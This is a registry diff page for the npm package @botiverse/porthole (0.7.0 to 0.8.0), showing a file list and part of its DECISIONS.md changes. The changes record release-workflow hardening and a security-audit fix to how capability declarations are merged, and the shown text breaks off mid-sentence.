@botiverse/porthole 0.7.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +9 -2
- package/THIRD_PARTY_NOTICES.md +421 -0
- package/dist/bridge/bounded-text.d.ts +34 -0
- package/dist/bridge/bounded-text.js +188 -0
- package/dist/bridge/bridge.d.ts +25 -5
- package/dist/bridge/bridge.js +311 -73
- package/dist/bridge/json-data.d.ts +28 -0
- package/dist/bridge/json-data.js +86 -0
- package/dist/bridge/navigation.d.ts +5 -0
- package/dist/bridge/navigation.js +7 -0
- package/dist/bridge/refusal.js +1 -0
- package/dist/bridge/types.d.ts +32 -1
- package/dist/check/page-source.js +1 -1
- package/dist/check/page.js +2 -0
- package/dist/compile/compile.d.ts +6 -0
- package/dist/compile/compile.js +3 -1
- package/dist/compile/policy.d.ts +38 -2
- package/dist/compile/policy.js +122 -7
- package/dist/config/capabilities.d.ts +23 -4
- package/dist/config/capabilities.js +12 -2
- package/dist/config/schema.d.ts +11 -0
- package/dist/config/validate.d.ts +8 -2
- package/dist/config/validate.js +28 -6
- package/dist/config/warnings.d.ts +20 -0
- package/dist/config/warnings.js +25 -0
- package/dist/conformance/behavior.js +46 -1
- package/dist/conformance/cookies.d.ts +15 -0
- package/dist/conformance/cookies.js +80 -0
- package/dist/conformance/harness/page.d.ts +1 -0
- package/dist/conformance/harness/page.js +9 -2
- package/dist/conformance/harness-source.js +1 -1
- package/dist/conformance/host-kit.js +5 -1
- package/dist/conformance/index.d.ts +10 -0
- package/dist/conformance/limits.js +38 -1
- package/dist/conformance/runtime.js +10 -0
- package/dist/conformance/served.d.ts +2 -0
- package/dist/conformance/served.js +737 -4
- package/dist/files/paths.js +4 -0
- package/dist/guide/gates.d.ts +7 -1
- package/dist/guide/gates.js +12 -0
- package/dist/guide/guide.js +2 -2
- package/dist/guide/runtime.js +11 -3
- package/dist/host/create-host.js +49 -37
- package/dist/host/pages-of-set.d.ts +43 -0
- package/dist/host/pages-of-set.js +196 -0
- package/dist/host/types.d.ts +8 -1
- package/dist/index.d.ts +5 -4
- package/dist/index.js +3 -2
- package/dist/mcp/adapter.js +11 -15
- package/dist/node/index.d.ts +36 -4
- package/dist/node/index.js +402 -101
- package/dist/presets/presets.d.ts +16 -8
- package/dist/presets/presets.js +39 -8
- package/dist/protocol/live-data.d.ts +6 -2
- package/dist/protocol/live-data.js +20 -1
- package/dist/protocol/mcp-apps.d.ts +13 -2
- package/dist/protocol/mcp-apps.js +10 -2
- package/dist/protocol/message-text.d.ts +8 -0
- package/dist/protocol/message-text.js +29 -0
- package/dist/protocol/runtime-calls.js +3 -0
- package/dist/protocol/shell-adapter.js +16 -22
- package/dist/react/context-notice.d.ts +32 -0
- package/dist/react/context-notice.js +28 -0
- package/dist/react/dialog.js +62 -18
- package/dist/react/frame.d.ts +12 -1
- package/dist/react/frame.js +79 -2
- package/dist/react/index.d.ts +2 -1
- package/dist/react/index.js +2 -1
- package/dist/runtime/contract.d.ts +9 -1
- package/dist/runtime/contract.js +31 -2
- package/dist/runtime/db.d.ts +41 -6
- package/dist/runtime/db.js +120 -16
- package/dist/runtime/declaration.d.ts +15 -1
- package/dist/runtime/declaration.js +184 -87
- package/dist/runtime/requests.js +27 -11
- package/dist/runtime/types.generated.js +1 -1
- package/dist/server/files.d.ts +5 -0
- package/dist/server/files.js +22 -7
- package/dist/server/host.d.ts +18 -1
- package/dist/server/host.js +132 -2
- package/dist/server/index.d.ts +1 -1
- package/dist/server/index.js +1 -1
- package/dist/server/peer.d.ts +4 -0
- package/dist/server/peer.js +19 -0
- package/dist/server/proxy.d.ts +6 -0
- package/dist/server/proxy.js +12 -3
- package/dist/server/server.js +113 -26
- package/dist/server/types.d.ts +6 -3
- package/dist/shell/document.d.ts +8 -0
- package/dist/shell/document.js +3 -0
- package/dist/shell/runtime.js +361 -14
- package/docs/ADOPTING.md +119 -14
- package/docs/ARCHITECTURE.md +13 -3
- package/docs/DECISIONS.md +1455 -8
- package/docs/DESIGN.md +79 -25
- package/docs/THREAT_MODEL.md +616 -0
- package/package.json +14 -3
- package/src/bridge/bounded-text.ts +240 -0
- package/src/bridge/bridge.ts +373 -84
- package/src/bridge/json-data.ts +95 -0
- package/src/bridge/navigation.ts +10 -0
- package/src/bridge/refusal.ts +1 -0
- package/src/bridge/types.ts +30 -1
- package/src/check/page.ts +2 -0
- package/src/compile/compile.ts +9 -1
- package/src/compile/policy.ts +130 -7
- package/src/config/capabilities.ts +22 -3
- package/src/config/schema.ts +11 -0
- package/src/config/validate.ts +43 -5
- package/src/config/warnings.ts +42 -0
- package/src/conformance/behavior.ts +54 -1
- package/src/conformance/cookies.ts +93 -0
- package/src/conformance/harness/page.ts +11 -2
- package/src/conformance/host-kit.ts +10 -1
- package/src/conformance/index.ts +10 -0
- package/src/conformance/limits.ts +39 -1
- package/src/conformance/runtime.ts +21 -0
- package/src/conformance/served.ts +888 -4
- package/src/files/paths.ts +4 -0
- package/src/guide/gates.ts +13 -1
- package/src/guide/guide.ts +3 -3
- package/src/guide/runtime.ts +12 -3
- package/src/host/create-host.ts +54 -36
- package/src/host/pages-of-set.ts +226 -0
- package/src/host/types.ts +15 -1
- package/src/index.ts +5 -0
- package/src/mcp/adapter.ts +16 -20
- package/src/node/index.ts +507 -116
- package/src/presets/presets.ts +60 -17
- package/src/protocol/live-data.ts +31 -3
- package/src/protocol/mcp-apps.ts +11 -2
- package/src/protocol/message-text.ts +36 -0
- package/src/protocol/runtime-calls.ts +3 -0
- package/src/protocol/shell-adapter.ts +27 -23
- package/src/react/context-notice.tsx +95 -0
- package/src/react/dialog.tsx +77 -17
- package/src/react/frame.tsx +101 -0
- package/src/react/index.ts +8 -1
- package/src/runtime/contract.ts +36 -2
- package/src/runtime/db.ts +140 -20
- package/src/runtime/declaration.ts +227 -89
- package/src/runtime/requests.ts +27 -11
- package/src/runtime/types.generated.ts +1 -1
- package/src/server/files.ts +29 -11
- package/src/server/host.ts +158 -3
- package/src/server/index.ts +1 -0
- package/src/server/peer.ts +21 -0
- package/src/server/proxy.ts +13 -3
- package/src/server/server.ts +139 -36
- package/src/server/types.ts +6 -3
- package/src/shell/document.ts +8 -0
- package/src/shell/runtime.ts +361 -14
- package/types/runtime/v1/context.d.ts +13 -2
package/docs/DECISIONS.md
CHANGED
|
@@ -332,7 +332,7 @@ Porthole draws).
|
|
|
332
332
|
**Revisit when** a host needs URL-mode frames to talk to it (then that is a
|
|
333
333
|
protocol, through an adapter).
|
|
334
334
|
|
|
335
|
-
## P021 · 2026-10-11 · Gates are a list that all must pass, safe by default, failing closed · Accepted
|
|
335
|
+
## P021 · 2026-10-11 · Gates are a list that all must pass, safe by default, failing closed · Accepted; amended by P103
|
|
336
336
|
|
|
337
337
|
**Decision.** A capability's gates are a list (`user-activation`, `confirm`,
|
|
338
338
|
`{ rateLimit }`); every one must pass. A config that names no gates gets the
|
|
@@ -397,7 +397,7 @@ agreement test keeps the shell and the manual on the same name.
|
|
|
397
397
|
**Revisit when** MCP Apps standardizes error reporting or theme-change events for
|
|
398
398
|
views.
|
|
399
399
|
|
|
400
|
-
## P025 · 2026-10-11 · A served document comes with its ticket's answer; the cookie serves what follows · Accepted; amended by P083
|
|
400
|
+
## P025 · 2026-10-11 · A served document comes with its ticket's answer; the cookie serves what follows · Accepted; amended by P083, P098
|
|
401
401
|
|
|
402
402
|
**Decision.** Refines P016's ticket flow. `/server` names each storage scope's origin
|
|
403
403
|
`<label>.<content domain>` (24 base32 characters of an HMAC of the scope, keyed from the
|
|
@@ -1809,7 +1809,6 @@ artifact-only app lacks, two snippet bugs, no word on the page's CSP, two ways t
|
|
|
1809
1809
|
which left the manual wrong), Workers specifics, and local development.
|
|
1810
1810
|
**Revisit when** a second cold adoption (after 0.3) finds friction these don't cover.
|
|
1811
1811
|
|
|
1812
|
-
|
|
1813
1812
|
## P072 · 2026-10-12 · Host kit 0.3: the client, the bootstrap and the relay, so adopters stop writing glue · Accepted
|
|
1814
1813
|
|
|
1815
1814
|
**Decision.** After 0.2.2 the server's content file is policy and little
|
|
@@ -2213,7 +2212,9 @@ refused, and reported as a problem, on every engine (`leak/check.spec.ts`).
|
|
|
2213
2212
|
loads (its follow-up) proposes more hosts, such as mirrors reachable from mainland China.
|
|
2214
2213
|
|
|
2215
2214
|
|
|
2216
|
-
## P079 · 2026-10-15 · Live widgets: no network of their own, Porthole's libraries on their origin, the host's data behind the viewer's consent, and frames that never navigate away · Accepted; amended by P084
|
|
2215
|
+
## P079 · 2026-10-15 · Live widgets: no network of their own, Porthole's libraries on their origin, the host's data behind the viewer's consent, and frames that never navigate away · Accepted; amended by P084, P094, P103
|
|
2216
|
+
|
|
2217
|
+
## P079 · 2026-10-15 · Live widgets: no network of their own, Porthole's libraries on their origin, the host's data behind the viewer's consent, and frames that never navigate away · Accepted; amended by P084, P094
|
|
2217
2218
|
|
|
2218
2219
|
**Decision.** Content that shows its host's data, current, read as the person viewing it (a
|
|
2219
2220
|
dashboard tile, a kept widget) gets a preset of its own and the mechanisms it needs. 0.5.0.
|
|
@@ -2697,7 +2698,7 @@ moved 56 minutes on, and the page goes on loading its files), on Chromium, WebKi
|
|
|
2697
2698
|
**Revisit when** WebKit keeps partitioned cookies in frames (then the cookie, stable addresses and
|
|
2698
2699
|
the shared cache), or hosts need a version's files cached across sessions (a seal per day).
|
|
2699
2700
|
|
|
2700
|
-
## P084 · 2026-10-18 · A served page with files opens its set's other pages in its frame · Accepted
|
|
2701
|
+
## P084 · 2026-10-18 · A served page with files opens its set's other pages in its frame · Accepted; amended by P098
|
|
2701
2702
|
|
|
2702
2703
|
**Decision.** Amends P079 (no navigation to another document) and P031 (a navigated frame is
|
|
2703
2704
|
started again) for served pages with files. The shell's plan names the version's files' address
|
|
@@ -2823,7 +2824,7 @@ contract it was written against; each capability's API is a versioned `.d.ts`. 0
|
|
|
2823
2824
|
version ships (its own types and table; the pins tell which pages need it), or no host serves a
|
|
2824
2825
|
page from before 0.7 (remove `shell/legacy.ts`).
|
|
2825
2826
|
|
|
2826
|
-
## P086 · 2026-10-18 · A page declares the capabilities it uses; built-ins need no declaring; the bridge holds every path to it · Accepted; amended by P091
|
|
2827
|
+
## P086 · 2026-10-18 · A page declares the capabilities it uses; built-ins need no declaring; the bridge holds every path to it · Accepted; amended by P091, P094
|
|
2827
2828
|
|
|
2828
2829
|
**Decision.**
|
|
2829
2830
|
- **The declaration** is `{ capabilities: { name: config }, runtime }` (`PageDeclaration`), stored by
|
|
@@ -2964,7 +2965,7 @@ control `db-private` (the owner check taken out of `dbAccess`) → that case on
|
|
|
2964
2965
|
**Revisit when** a host needs transactions across documents beyond a batch, field-level deletes, or
|
|
2965
2966
|
live presence (a `room` capability).
|
|
2966
2967
|
|
|
2967
|
-
## P089 · 2026-10-18 · An artifact's asset library at `/_blob/<id>` on its own origin; scripts and styles from it only where uploads are the admins' · Accepted; amended by P091
|
|
2968
|
+
## P089 · 2026-10-18 · An artifact's asset library at `/_blob/<id>` on its own origin; scripts and styles from it only where uploads are the admins' · Accepted; amended by P091, P103
|
|
2968
2969
|
|
|
2969
2970
|
Amends P022 and P082 (a page's CSP gains a source on its own origin) and P050 (a running page's own
|
|
2970
2971
|
loads of its assets skip the host's per-request check).
|
|
@@ -3049,7 +3050,7 @@ case on all three engines.
|
|
|
3049
3050
|
**Revisit when** a page needs to show its comment counts (then a count, through the host, never the
|
|
3050
3051
|
words).
|
|
3051
3052
|
|
|
3052
|
-
## P091 · 2026-10-18 · The security review of 0.7.0's first cut: what each finding changed · Accepted
|
|
3053
|
+
## P091 · 2026-10-18 · The security review of 0.7.0's first cut: what each finding changed · Accepted; amended by P094
|
|
3053
3054
|
|
|
3054
3055
|
Amends P083 (a framed set's pages that may load assets send their own origin a `Referer`), P085,
|
|
3055
3056
|
P086, P087, P088, P089 (assets need an access) and P090. No high finding; every one is fixed
|
|
@@ -3142,3 +3143,1449 @@ a page's updates heard by the next page, code a viewer uploaded made runnable by
|
|
|
3142
3143
|
**Revisit when** WebKit sends a cross-site frame's same-origin requests their full `Referer`, or
|
|
3143
3144
|
keeps partitioned cookies there (then `/_blob/<id>` loads everywhere and `assets.url` is a
|
|
3144
3145
|
convenience); or a host needs per-collection levels beyond a batch's.
|
|
3146
|
+
|
|
3147
|
+
## P097 · 2026-10-19 · A release is a commit of main that passed all of CI; the open-source materials · Accepted
|
|
3148
|
+
|
|
3149
|
+
The 2026-10-19 audit's V03 and its licenses-and-materials findings (baseline 264b12fa). Before,
|
|
3150
|
+
a pushed `v*` tag published from one job that ran `check`, the build and the Chromium bundle test,
|
|
3151
|
+
holding the npm id-token throughout, whatever ci.yml (three engines' loopback and negative
|
|
3152
|
+
controls, prod-shape, the examples) said about the same commit, or before it said anything. Each
|
|
3153
|
+
change has its regression in `test/release.test.ts` (the workflows) or `test/notices.test.ts`
|
|
3154
|
+
(the materials); both failed before (8 of 10, and the module missing).
|
|
3155
|
+
|
|
3156
|
+
**Decision**, by finding:
|
|
3157
|
+
1. **A release waits for ci.yml on the same commit, every job of it** (V03). release.yml's `gate`
|
|
3158
|
+
job, before anything is built, lets a release through only for a commit on main (`compare`
|
|
3159
|
+
against `git/ref/heads/main`'s commit says `identical` or `behind`: not a branch's commit, not a
|
|
3160
|
+
tag named `main`) whose newest ci.yml run on `main`, started by a push or by hand
|
|
3161
|
+
(`workflow_dispatch`: `stamp workflow run ci.yml --repo botiverse/porthole` re-runs one that
|
|
3162
|
+
flaked, or runs a commit that has none; an agent can't re-run a push's run through Stamp), never
|
|
3163
|
+
a pull request's, completed with success with each job named in `REQUIRED_CI_JOBS` passed in its
|
|
3164
|
+
latest attempt (a job made conditional, skipped or dropped would leave a run that passes without
|
|
3165
|
+
it). A pending run is waited for (`CI_WAIT_MINUTES`, 150: the test holds it 30 above ci.yml's
|
|
3166
|
+
slowest job, and every job of both workflows has a timeout); no run after ten minutes says to
|
|
3167
|
+
start one; anything else stops the release. ci.yml runs on pushes to branches only (`branches:
|
|
3168
|
+
["**"]`): a tag's run names the tag as its branch (run 39104402120's `head_branch` is `v0.7.0`),
|
|
3169
|
+
and a release tag's commit has had main's run. Every API call in the gate, tag and release jobs
|
|
3170
|
+
is an assignment or a command of its own under `set -euo pipefail`, never inside a test, so an
|
|
3171
|
+
API error stops the job instead of reading as "no tag" (Ferry's review found that fail-open).
|
|
3172
|
+
`REQUIRED_CI_JOBS` is the one list of ci.yml's jobs; the test derives ci.yml's job names as
|
|
3173
|
+
GitHub makes them (a matrix's combinations, `exclude`, `include`, names with `${{ matrix.* }}`)
|
|
3174
|
+
and requires the two equal, so a job added, renamed or dropped there fails a test. ci.yml's jobs
|
|
3175
|
+
are none conditional or allowed to fail. Both triggers go through the gate: `stamp workflow run
|
|
3176
|
+
release.yml --repo botiverse/porthole -f version=X.Y.Z` from main (as OAR's release: refused
|
|
3177
|
+
from another ref or for a tag that exists), and a pushed `v*` tag, as before. `build` refuses a
|
|
3178
|
+
version whose CHANGELOG.md has no `## X.Y.Z` heading (line ends stripped) or an empty section,
|
|
3179
|
+
before anything is published. After `publish`, a dispatched release's `tag` job creates the tag
|
|
3180
|
+
(idempotent: a tag already on the commit passes, one on another commit stops it), and `release`
|
|
3181
|
+
makes the GitHub release from that section, as Ferry's (D185) and OAR's releases: a publish that
|
|
3182
|
+
fails leaves no tag, so a fresh dispatch can try again.
|
|
3183
|
+
`test/release-scripts.test.ts` runs the gate's, build's section check, tag's, publish's and
|
|
3184
|
+
release's scripts against a simulated API (a fake `gh` through the real `jq`): a dispatch run
|
|
3185
|
+
accepted, a pull request's ignored, the newest taken, a commit off main refused, an API error in
|
|
3186
|
+
each lookup exiting 1, CRLF notes, a heading that isn't exact.
|
|
3187
|
+
2. **Only the job that publishes can mint the id-token, and it runs no project code.** `build`
|
|
3188
|
+
(contents: read) installs, checks, builds, runs the bundle test and `pnpm pack`s (publishConfig
|
|
3189
|
+
applied, as `pnpm publish` applied it); `publish` (contents: read, id-token: write) downloads
|
|
3190
|
+
that tarball, checks it is `@botiverse/porthole` at the tag's version, and runs `pnpm publish
|
|
3191
|
+
<tarball>` with `--tag next` for a prerelease (a version with a `-`; its GitHub release is
|
|
3192
|
+
marked one), `--tag latest` otherwise: pnpm 11 sends a tarball through the same publish and
|
|
3193
|
+
OIDC path as a directory (`publishPackedPkg`), so npm's trusted-publisher setting, which names
|
|
3194
|
+
release.yml, still matches; the publish stays in this file. Its checkout is `/package.json`
|
|
3195
|
+
alone (sparse, for pnpm's version): pnpm loads a checkout's `.pnpmfile.cjs` (measured: `pnpm
|
|
3196
|
+
publish <tarball>` in a workspace ran one) and pnpm-workspace.yaml's `configDependencies` for
|
|
3197
|
+
any command; neither is checked out, and the publish passes `--config.ignore-pnpmfile=true`
|
|
3198
|
+
(`pnpm publish` refuses `--ignore-pnpmfile` as an unknown option; the config key stops the
|
|
3199
|
+
pnpmfile, measured). `tag` and `release` (contents: write), after it, check nothing out and
|
|
3200
|
+
use the API only. The workflows' token is `contents: read` unless a job says otherwise; no dependency cache
|
|
3201
|
+
in a release (what it installs comes from the lockfile alone).
|
|
3202
|
+
- **What the gate doesn't stop.** It is in the file it guards: anyone who can push a branch can
|
|
3203
|
+
dispatch that branch's release.yml (`--ref <branch>`) or push a `v*` tag on a branch's commit,
|
|
3204
|
+
and that commit's copy runs, without this gate if it says so; npm's trusted-publisher setting,
|
|
3205
|
+
with no environment named, accepts that job's id-token. Until the admin settings below are on,
|
|
3206
|
+
the gate stops mistakes (a red or pending CI, a commit off main, a stale tag), not someone with
|
|
3207
|
+
push access. The fix is a `release` environment that only `main` and `v*` tags may deploy to,
|
|
3208
|
+
named on the publish job and in npm's setting, and the `v*` tag ruleset. `environment: release`
|
|
3209
|
+
is not on the publish job yet: GitHub creates a missing environment on first use (in a private
|
|
3210
|
+
repository only on GitHub Team or Pro; Free configures environments for public ones only,
|
|
3211
|
+
docs.github.com "Managing environments for deployment"), npm's documentation says the field is
|
|
3212
|
+
optional but not what it does with a token whose environment it doesn't name, and a guide
|
|
3213
|
+
(uncited) says npm then refuses it ("environment claim mismatch"); unverifiable without a
|
|
3214
|
+
publish, and an environment without its rules adds nothing. So the three go on together, by an
|
|
3215
|
+
admin: the environment with its rules, the line on the job, and the name in npm's setting.
|
|
3216
|
+
3. **Actions are reviewed commits.** Every `uses:` is a full commit SHA with its release in a
|
|
3217
|
+
comment: the commits the floating `v4` tags named on 2026-10-19, which CI had been running
|
|
3218
|
+
(checkout 4.4.0, setup-node 4.4.0, upload-artifact 4.6.2, download-artifact 4.3.0,
|
|
3219
|
+
pnpm/action-setup 4.3.0), checked against the release tags. Every checkout is
|
|
3220
|
+
`persist-credentials: false`, so no job's later steps find the token in `.git/config`.
|
|
3221
|
+
4. **Third-party notices.** The package ships Chart.js and D3 (P079) and each one's license, but
|
|
3222
|
+
their files bundle more: `@kurkle/color` (in Chart.js), and in D3 its thirty modules,
|
|
3223
|
+
`internmap`, `delaunator` and `robust-predicates`, with GeographicLib's notice in d3-geo,
|
|
3224
|
+
Robert Penner's in d3-ease and ColorBrewer's in d3-scale-chromatic. `scripts/notices.ts`
|
|
3225
|
+
writes `packages/porthole/THIRD_PARTY_NOTICES.md` from the installed packages (each library's
|
|
3226
|
+
dependency tree, less what its file doesn't bundle: d3-dsv's command-line tools'
|
|
3227
|
+
dependencies), license texts verbatim; the test runs it as `--check`, and the package's `files`
|
|
3228
|
+
ship it. The leak suite's committed Vite build (`leak/fixtures/vite-react/out`, never in the
|
|
3229
|
+
package) bundles React, ReactDOM 18.3.1 and Scheduler 0.23.2 with their license comments
|
|
3230
|
+
stripped: `THIRD_PARTY_NOTICES.md` beside it carries their MIT text, and Vite's and rolldown's
|
|
3231
|
+
for the preload polyfill and module runtime the build adds; the test holds it to the fixture's
|
|
3232
|
+
`package.json` and the bundle's React version.
|
|
3233
|
+
5. **The license in the package.** `npm pack` takes LICENSE only from the package's own directory
|
|
3234
|
+
(pnpm copies the root's when there is none, which is how 0.7.0 had it): `packages/porthole/LICENSE`
|
|
3235
|
+
is the root's, byte for byte (tested).
|
|
3236
|
+
6. **SECURITY.md**: private reports through GitHub's private vulnerability reporting, never a
|
|
3237
|
+
public issue (the channel, said plainly); fixes in the latest release only (pre-1.0, no
|
|
3238
|
+
backports); an acknowledgement aimed at within three business days, the failing test first, an advisory and credit; the scope, and the boundaries
|
|
3239
|
+
decisions accept (P047's same-site siblings, P083's sealed address as a bearer credential,
|
|
3240
|
+
P079's fallback without the Navigation API). Both READMEs point to it.
|
|
3241
|
+
7. **README and npm metadata**: the status says what is true (pre-1.0, on npm, phase 1's core
|
|
3242
|
+
milestones done, CI on three engines), not "Private. Phase 1 in progress"; the package names its
|
|
3243
|
+
`repository` (with `directory`, which npm's provenance checks once the repository is public),
|
|
3244
|
+
`bugs` and `homepage`.
|
|
3245
|
+
8. **Dev-dependency advisories**: `pnpm audit --registry https://registry.npmjs.org` found 18 (6
|
|
3246
|
+
high, 9 moderate, 3 low; `--prod` 0), all in test tooling: undici 7.28.0 and sharp 0.35.2
|
|
3247
|
+
through miniflare, @modelcontextprotocol/client 2.0.0 through the ext-apps example servers. The
|
|
3248
|
+
newest releases upstream still pin them (miniflare 4.20260730.0 is its last 4.x; the example
|
|
3249
|
+
servers 2.0.3 pin the SDK 2.0.0), so pnpm-workspace.yaml overrides them, each line until its
|
|
3250
|
+
upstream ships the fix: undici 7.29.1 and sharp 0.35.5 under miniflare (what its 5.x betas
|
|
3251
|
+
pin), and the SDK's client, server and core together at 2.3.1 (they pin one another exactly).
|
|
3252
|
+
After: 0 and 0. `yaml` 2.9.1 is a new devDependency, for the workflow test.
|
|
3253
|
+
- **Not in the repository** (an admin's settings; none applied here): a ruleset on `main`
|
|
3254
|
+
(pull requests only, ci.yml's jobs as required checks, no force push or deletion); a ruleset
|
|
3255
|
+
on `v*` tags (no update or deletion; creation restricted, and the GitHub Actions integration (actor
|
|
3256
|
+
15368) on its bypass list, which GitHub allows in an organization's repository, as botiverse's
|
|
3257
|
+
is: without it the `tag` job's GITHUB_TOKEN is refused after npm has published the version, and a
|
|
3258
|
+
person then finishes the release by re-running the failed jobs, since an agent can't through
|
|
3259
|
+
Stamp and a fresh dispatch fails at the publish); a `release` environment with a required reviewer and deployments from
|
|
3260
|
+
`main` and `v*` only, then `environment: release` on the publish job and the same environment in
|
|
3261
|
+
npm's trusted-publisher setting, the three at once (npm then accepts no other job's token); on npm, "require two-factor
|
|
3262
|
+
authentication and disallow tokens" for the package; secret scanning with push protection;
|
|
3263
|
+
Dependabot alerts and security updates (and, if wanted, a `.github/dependabot.yml` for
|
|
3264
|
+
`github-actions`, which bumps pinned SHAs with their comments); private vulnerability reporting
|
|
3265
|
+
(SECURITY.md's form 404s until it is on); Actions: the workflow token read-only by default, no
|
|
3266
|
+
pull request creation or approval by Actions, only GitHub's and pnpm's Actions allowed, SHA
|
|
3267
|
+
pinning required, approval for outside contributors' workflows; code scanning (CodeQL) once
|
|
3268
|
+
public. The audit's scope notes stand: unreachable objects, other refs, LFS, issue and Actions
|
|
3269
|
+
logs and earlier npm tarballs weren't scanned for secrets before the repository opens.
|
|
3270
|
+
|
|
3271
|
+
**Threat it re-opens.** None: each change narrows what a release can publish or who can mint the
|
|
3272
|
+
token. A release now waits on ci.yml; a flaky job blocks it until it is re-run (`stamp workflow
|
|
3273
|
+
run ci.yml`), and a tag on a commit off main no longer publishes. If the version is published and
|
|
3274
|
+
tagging then fails, a person re-runs the failed jobs (`tag` and `release` are idempotent).
|
|
3275
|
+
**Why.** The audit's V03: a release could publish while the commit's security suites were
|
|
3276
|
+
pending or red; the id-token sat in a job running every dependency's install scripts and the test
|
|
3277
|
+
suite; tags of Actions can move. And the open-source checklist: notices the licenses require for
|
|
3278
|
+
what the repository and the package redistribute, a private channel for reports, metadata npm
|
|
3279
|
+
and readers look for.
|
|
3280
|
+
**Rejected.**
|
|
3281
|
+
- `workflow_run` on ci.yml's completion: it runs the workflow file from the default branch, not
|
|
3282
|
+
the released commit, and needs its own filtering of branches and events; the gate reads the same
|
|
3283
|
+
API and keeps the publish where npm's setting expects it.
|
|
3284
|
+
- ci.yml calling the release (one workflow, `needs:`): npm's trusted-publisher setting names the
|
|
3285
|
+
workflow file that publishes, so the publish would move into ci.yml, which runs on every push.
|
|
3286
|
+
- `npm publish <tarball>` in the publish job: npm's own OIDC path would also work, but pnpm's is
|
|
3287
|
+
what published 0.7.0 (its npm user is `npm-oidc-no-reply@github.com`) and needs no change of
|
|
3288
|
+
tool.
|
|
3289
|
+
- The run's conclusion alone: a skipped or dropped job leaves a run that passed.
|
|
3290
|
+
- Upgrading to miniflare 5 (a beta of a new major) or to the newest Action majors (checkout 7,
|
|
3291
|
+
setup-node 7, upload-artifact 7, download-artifact 8, action-setup 6): each is a change of
|
|
3292
|
+
behavior to verify on its own, not a fix.
|
|
3293
|
+
- Rebuilding the fixture with its license comments kept: a new build is new test data for the
|
|
3294
|
+
leak suite; a notice beside the committed build covers it.
|
|
3295
|
+
**Revisit when** a stable miniflare pins undici ≥ 7.29.1 and sharp ≥ 0.35.5, or the example
|
|
3296
|
+
servers pin the MCP SDK ≥ 2.2.0 (drop that override); when the admin creates the `release`
|
|
3297
|
+
environment (add it to the publish job and npm's setting together); when ci.yml gains, renames or
|
|
3298
|
+
drops a job (REQUIRED_CI_JOBS follows; the test says so); or when a vendored library or the
|
|
3299
|
+
fixture changes (rerun `node scripts/notices.ts`, update the fixture's notices).
|
|
3300
|
+
|
|
3301
|
+
## P093 · 2026-10-19 · A version within the current declaration: each side's rules as `dbAccess` reads them, in any case, in objects without a prototype · Accepted
|
|
3302
|
+
|
|
3303
|
+
Amends P086, P088 (rules hold for a collection's name in any case) and P091 ("a version is shown
|
|
3304
|
+
with what it and the artifact both declare"). The 2026-10-19 audit (baseline 264b12fa), S02
|
|
3305
|
+
(high): `intersectDeclarations` merged `db.rules` name by name, comparing only the names both
|
|
3306
|
+
wrote, while `dbAccess` puts a collection under its own rule object, else under `*`. A version's
|
|
3307
|
+
`public: { read: view, write: interact }` within the current `"*": { read: owner, write: owner }`
|
|
3308
|
+
kept the version's `public`, so a viewer at `view` read `public/item`, which the current
|
|
3309
|
+
declaration refuses. The same merge wrote into a plain `{}`: a collection named `__proto__` (a
|
|
3310
|
+
legal segment) set the output's prototype instead of being a rule, and fell to `*` or the
|
|
3311
|
+
contract's levels. The independent review of the first cut added findings 5 to 9. Regressions:
|
|
3312
|
+
`test/declaration-intersection.test.ts`, and a `defineRuntimeConformance` case.
|
|
3313
|
+
|
|
3314
|
+
**Decision**, by finding:
|
|
3315
|
+
1. **Each side as `dbAccess` reads it.** For each name either side's rules give, and `*`, the
|
|
3316
|
+
output's rule is the stricter (read and write each) of the rule each side puts that name
|
|
3317
|
+
under: its own rule object if it names it, else its `*`, whole; never field by field (a side's
|
|
3318
|
+
`public: {}` is the contract's levels, whatever its `*` says). A name neither gives falls to
|
|
3319
|
+
the output's `*`, the stricter of both `*`s. So the output allows each level exactly what both
|
|
3320
|
+
sides allow it. One lookup, `dbRuleOf` (db.ts), serves `dbAccess` and the intersection, and one
|
|
3321
|
+
level function, `dbRuleLevel`, serves `dbAccess` and the pruning in 5, so they can't drift.
|
|
3322
|
+
2. **No prototypes.** Every object the intersection makes (capabilities, each capability, levels,
|
|
3323
|
+
rules, each rule) is without a prototype, and its lists are copies. `declareCapabilities`
|
|
3324
|
+
returns its own copy as `checkDeclaration` has since P091, both for what it is given and for
|
|
3325
|
+
a stored declaration it carries forward. `methodLevel` reads a page's levels by its own names
|
|
3326
|
+
only. The rest of the runtime was checked for the pattern: the other keyed writes take names
|
|
3327
|
+
from the config or from a fixed list.
|
|
3328
|
+
3. **A side that isn't a declaration is a problem.** `higher` with a level that isn't one returns
|
|
3329
|
+
the other, so a malformed stricter side would loosen the result in silence. Either side whose
|
|
3330
|
+
shape is wrong (a level that isn't one, a rule that isn't an object, a name with `*` inside,
|
|
3331
|
+
an unknown or built-in capability, a runtime Porthole doesn't serve) is refused, as the mount
|
|
3332
|
+
refuses it, by `declarationProblems`' own shape checks (`configProblems`), without the offer:
|
|
3333
|
+
the intersection has no config, and the mount checks the result against the config.
|
|
3334
|
+
4. **The acceptance is a property.** Over every pair of declarations built from `*` and one
|
|
3335
|
+
collection (each absent, `{}`, or one of six rules); 1,500 seeded random pairs (rules on `*`,
|
|
3336
|
+
`public` in three cases, `__proto__`, `constructor`, `toString`, `data`; levels; `data` names; a
|
|
3337
|
+
capability absent on either side; plain or prototype-less input, as a store or a mount has
|
|
3338
|
+
it); and pairs at the publish limits (100 rule names and 200 `data` names a side, names in
|
|
3339
|
+
another case across sides): for every viewer level and every db, `data` and `artifact` call,
|
|
3340
|
+
the intersection allows at most what both sides allow, both as returned and as a mount checks
|
|
3341
|
+
it (the mount takes it), and exactly that where the sides spell each collection alike (6).
|
|
3342
|
+
"At most" is S02; "at least" means an old version keeps whatever nothing revoked. The audit's
|
|
3343
|
+
case is also run through the bridge.
|
|
3344
|
+
5. **An intersection fits a mount** (review, medium). The union of two pages' names can pass the
|
|
3345
|
+
publish limits (51 + 51 collections are 102 > 100; `data` names 200 + 151), which the mount
|
|
3346
|
+
refused, so an author who renamed collections across publishes had no older version shown.
|
|
3347
|
+
The limits stay at publish (`declarationProblems`, `declareCapabilities`: 100 rule names, 200
|
|
3348
|
+
names a list); where a declaration is shown (`checkDeclaration` at the mount, either side of an
|
|
3349
|
+
intersection, a stored one carried forward) they are an intersection's: 201 rule names (twice,
|
|
3350
|
+
and `*`) and 400 names. The intersection also checks its own result against those (two sides
|
|
3351
